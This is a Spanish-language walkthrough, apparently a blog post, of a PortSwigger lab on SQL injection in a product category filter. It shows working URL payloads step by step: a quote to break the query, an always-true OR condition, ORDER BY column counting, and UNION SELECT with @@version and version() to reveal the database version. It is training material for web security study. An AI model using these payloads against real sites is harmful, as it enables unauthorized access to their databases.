SQL injection attack, querying the database type and version on MySQL and Microsoft
Laboratorio de Portswigger sobre SQLI
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio contiene una vulnerabilidad de inyección SQL en el filtro de categoría de productos. Hay que utilizar un ataque UNION para recuperar los resultados de la consulta, para resolver el laboratorio debemos mostrar la versión de la base de datos
Guía de SQLI
Antes de completar este laboratorio es recomendable leerse esta guía de SQLI https://justice-reaper.github.io/posts/SQLI-Guide/
Resolución
Al acceder a la web nos sale esto
Pinchamos en alguna de las categorías, capturamos la petición con Burpsuite y le añadimos una ' a category
Si enviamos la petición nos dará un Internal Server Error debido a que hemos logrado interferir con la consulta SQL que se está haciendo
Si usamos este payload, ya habremos solucionado el error que se estaba produciendo en la consulta SQL y se mostrará lo siguiente
1
/filter?category=Gifts'+or+1=1+--+-+
Esto se debe a que la consulta SQL que se debe estar haciendo debe ser esta
1
SELECT * FROM products WHERE category = 'Gifts'
Lo que hacemos cuando inyectamos ' or 1=1-- - es cerrar la ' del campo category y usar or 1=1 para que siempre sea verdad y por lo tanto exista, posteriormente con -- - lo que hacemos es ignorar el resto de la query
1
SELECT * FROM products WHERE category = 'Gifts' OR 1=1 -- - '
Usando order by podemos identificar cuantas columnas tiene la tabla, si ponemos un número de columnas que existe no obtendremos ningún error
1
/filter?category=Gifts'order+by+2--+-+
Sin embargo. si ponemos un número de columnas que no existe, obtendremos un error, esto es debido a que estamos ante una SQLI Error Based
1
/filter?category=Gifts'order+by+3--+-+
A continuación usamos union select para señalar ambos campos, debido a que la query no ha dado ningún error, podemos descartar que el tipo de base de datos sea Oracle. Si fuera Oracle daría un error debido a que hay que añadir from dual al union select
1
/filter?category=Gifts'+union+select+null,null--+-+
Con @@version podemos enumerar la versión de las bases de datos de Microsoft y las MySQL
1
/filter?category=Gifts'+union+select+null,@@version--+-+
También es posible enumerar las bases de datos MySQL usando version() en ciertos casos
1
/filter?category=Gifts'+union+select+null,version()--+-+








